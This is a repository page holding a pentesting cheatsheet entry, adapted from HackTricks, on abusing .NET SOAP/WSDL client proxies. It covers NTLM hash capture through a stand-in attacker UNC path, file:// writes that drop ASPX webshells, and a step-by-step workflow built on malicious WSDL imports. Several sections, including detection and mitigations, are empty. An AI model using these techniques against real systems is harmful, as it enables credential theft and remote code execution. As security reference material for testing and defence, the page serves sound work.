repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
dotnet-soap-wsdl-client-exploitation.mdMarkdown116 lines8.2 KiBsource raw download

title: ".NET SOAP/WSDL Client Proxy Abuse" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

.NET SOAP/WSDL Client Proxy Abuse#

TL;DR#

Root cause: HttpWebClientProtocol is scheme-agnostic#

WebClientProtocol.GetWebRequest() does var req = WebRequest.Create(uri) and returns it untouched. HttpWebClientProtocol.GetWebRequest() tries req as HttpWebRequest to set HTTP-only fields, but it still returns the original req even when the cast fails. Therefore the runtime obeys whatever scheme is present in Url:

SoapHttpClientProtocol.Invoke() then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB.[1]

Primitive 1 – NTLM capture / relay via UNC targets#

  1. Gain control over SoapHttpClientProtocol.Url (direct setter, config value, database row, etc.).
  2. Point it to a UNC path like file://attacker.local/sink/payload.
  3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker.
  4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent.

This applies to any .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible.[1]

Primitive 2 – Arbitrary file writes via file://#

  1. Set Url = "file:///inetpub/wwwroot/poc.aspx" (or any writable path) before the proxy call.
  2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files.
  3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files.

Limitations:[1]

Runtime often throws Client found response content type of 'application/octet-stream', but expected 'text/xml' after the write—treat this error as an IOC.[1]

Weaponizing WSDL imports#

Auto-generated proxies via ServiceDescriptionImporter#

Many products expose "custom web service" features that accept a WSDL URL, then:

  1. ServiceDescription.Read() the attacker-controlled WSDL.
  2. ServiceDescriptionImporter generates C# proxy classes extending SoapHttpClientProtocol.
  3. CodeDOM compiles the proxy and reflection calls the requested method.

The attacker fully controls:

No scheme validation occurs, so every generated proxy inherits the original design flaw.[1]

Shaping the SOAP envelope for RCE#

These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set soap12:address to file:///Program Files/.../SCMessaging/poc.aspx, injected <script runat="server"> via complex parameters, and uploaded a webshell that executed arbitrary cmd.exe commands.[1]

Typical attack workflow#

  1. Identify functionality that accepts a WSDL URL or otherwise lets users configure SOAP endpoints (e.g., Barracuda InvokeRemoteMethod, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShell New-WebServiceProxy).
  2. Host a malicious WSDL whose soap:address points to a writable path or UNC share and whose schema definitions provide payload-friendly methods/types.
  3. Trigger the import/compilation. The target emits a proxy DLL with attacker-controlled constructor and methods.
  4. When the application invokes the generated method, the SOAP request is serialized and written to the attacker-specified path, embedding the payload.
  5. Execute the dropped file (browse to poc.aspx?cmd=whoami, load the CSHTML, or let PowerShell run the script) or replay captured NTLM material.[1]

Detection & hunting#

Mitigations#

References#